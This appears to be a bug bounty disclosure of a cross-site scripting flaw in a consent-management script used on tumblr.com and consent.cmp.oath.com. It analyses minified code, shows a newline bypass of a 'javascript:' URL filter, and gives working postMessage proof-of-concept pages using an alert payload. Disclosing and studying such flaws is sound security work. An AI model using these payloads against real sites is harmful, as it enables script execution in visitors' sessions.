Summary:
During my research on other bug bounty program I’ve found Cross-Site Scripting vulnerability in cmp3p.js file, which allows attacker to execute arbitrary javascript code in context of domain that include mentioned script.
Below you can find the way of finding bug bounty vulnerabilities from the beginning to the end, which includes:
- In depth analysis of vulnerability,
- Proof of Concept for consent.cmp.oath.com domain,
- Proof of Concept for tumblr.com.
To describe the impact of this research, it is worth to mention that described research should also works for any other host that includes cmp3p.js file.
Browser’s Cross-Origin Communication:
To better understand this vulnerability it’s worth mentioning some mechanism that browsers implement to communicate between origins. One of them is postMessage. If site A have an <iframe> pointing to site B in its source, we can get access to DOM tree of site B from the site A. Because of Same-Origin Policy, to have full access both site A and B must be in same origin. Otherwise, to communicate one of sites need to add onmessage even listener, and second site can send events with data, which will be processed by function defined in listener. For example:
Site A:
<script>
window.addEventListener("message", function(e) {
alert(e.data.toString());
});
</script>
Site B:
<script>
window.parent.postMessage("Hello world.", "*");
</script>
Above mechanism works not only over frames and pop-ups, but also between two tabs. For example if site A have hyperlink to site B, which gonna be clicked – page containing hyperlink can be accessed from new opened tab by window.opener.
Analysis:
During my research I’ve decided to take a look on main tumblr.com page, the plan was to discover if it handles any postMessages. I’ve find out that there’s interesting function in cmpStub.min.js file, that doesn’t check the origin of postMessage. In obfuscated form, it looks as following:
!function() {
var e = !1;
function t(e) {
var t = "string" == typeof e.data
, n = e.data;
if (t)
try {
n = JSON.parse(e.data)
} catch (e) {}
if (n && n.__cmpCall) {
var r = n.__cmpCall;
window.__cmp(r.command, r.parameter, function(n, o) {
var a = {
__cmpReturn: {
returnValue: n,
success: o,
callId: r.callId
}
};
e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
})
}
}
Basing on the above part of code, it is worth to notice that:
- It takes event data parameter (as JSON string),
- than parses it using JSON.parse() function,
- than create javascript object n containing attribute cmpCall (which is object).
Mentioned cmpCall object contains fields called command and parameter which are both based to window.__cmp() function:
if (e)
return {
init: function(e) {
if (!l.a.isInitialized())
if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
p.uiUrl || p.organizationId)
if (c.a.isSafeUrl(p.uiUrl)) {
p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
g.setGdpr("S"),
g.setPublisherId(p.organizationId)),
(t = p.sharedConsentDomain) && r.a.init(t),
s.a.setCookieDomain(p.cookieDomain);
var n = s.a.getGdprApplies();
!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
n || (e = !0),
s.a.setIsUserInEU(e),
e ? (g.setGdpr("L"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : l.a.initializationComplete()
})
} else
c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
Although this code is obfuscated, it’s analysis could be problematic, so I will focus on two most important lines:
if (c.a.isSafeUrl(p.uiUrl)) {
After checking isSafeUrl definition, we can notice that it checks if URL provided in parameters object (this could be controlled by attacker) is safe:
isSafeUrl: function(e) {
return -1 === (e = (e || "").replace(" ", "")).toLowerCase().indexOf("javascript:")
},
If URL provided as function parameter contain javascript: string at beginning it should be treated as unsafe and return -1 (and stop futher execution).
Second interesting line is:
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
Let’s take a look on b() function definition:
b = function(e) {
g.markConsentRenderStartTime();
var n = p.uiUrl ? i.a : a.a;
l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
p.consentString = t,
n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
}) : n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
}
As before – obfuscated, hard to read – but really interesting part here which gonna bring us to the point of this vulnerability is renderConsents() function. Definition:
renderConsents: function(n, p) {
if ((t = n || {}).siteDomain = window.location.origin,
r = t.uiUrl) {
if (p && u.push(p),
!document.getElementById("cmp-container-id")) {
(i = document.createElement("div")).id = "cmp-container-id",
i.style.position = "fixed",
i.style.background = "rgba(0,0,0,.5)",
i.style.top = 0,
i.style.right = 0,
i.style.bottom = 0,
i.style.left = 0,
i.style.zIndex = 1e4,
document.body.appendChild(i),
(a = document.createElement("iframe")).style.position = "fixed",
a.src = r,
a.id = "cmp-ui-iframe",
a.width = 0,
a.height = 0,
a.style.display = "block",
a.style.border = 0,
i.style.zIndex = 10001,
l(),
As you can see - renderConsents() is finally interesting element from security perspective, because it creates iframe element with src attribute controlled by attacker, that can be controlled by attacker. We can easy execute Javascript code using element by providing code as URI (in src attribute) – by using special URI schema / protocol – javascript. By using browser simply gonna execute alert(1) Javascript code. That was the reason why isSafeUrl() function was previously executed. So how we can still pass URL containing javascript schema at beginning?
It’s good to know that we can still use whitespace characters in schema part of URL, which gonna be ignored by browser. That brings us really simple bypass for isSafeUrl(), consists on provinding URL parameter with newline inside:
> url = "javascript:alert(document.domain);"
"javascript:alert(document.domain);"
> isSafeUrl(url)
false
> url="ja\nvascript:alert(document.domain);"
"ja
vascript:alert(document.domain);"
> isSafeUrl(url)
true
After this step, by constructing postMessage with this JSON, it would be possible to execute javascript code:
{
"__cmpCall": {
"command": "init",
"parameter": {
"uiUrl": "ja\nvascript:alert(document.domain)",
"uiCustomParams": "fdsfds",
"organizationId": "siabada",
"gdprAppliesGlobally": "fdfdsfds"
}
}
}
To pass this message into vulnerable page we also need to have a link to its window object, which can be easily achieved by putting vulnerable page into iframe. When we sum up all described steps, final Proof of Concept would look following:
<html><body>
<script>
window.setInterval(function(e) {
try {
window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",
\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 1000);
</script>
<iframe src="https://tumblr.com"></iframe>
</body></html>
Proof of Concept for consent.cmp.oath.com:
<html><body>
<script>
window.setInterval(function(e) {
try {
window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",
\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 1000);
</script>
<iframe src="https://consent.cmp.oath.com"></iframe>
</body></html>
Proof of Concept for tumblr.com:
<html><body>
<script>
window.setInterval(function(e) {
try {
window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",
\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 1000);
</script>
<iframe src="https://tumblr.com"></iframe>
</body></html>
Impact:
This vulnerability allows attackers to execute arbitrary JavaScript code in the context of any domain that includes the cmp3p.js file. This includes major websites like tumblr.com and consent.cmp.oath.com, potentially affecting millions of users. The vulnerability can be exploited through cross-origin communication mechanisms, making it particularly dangerous as it can be triggered from any malicious website.




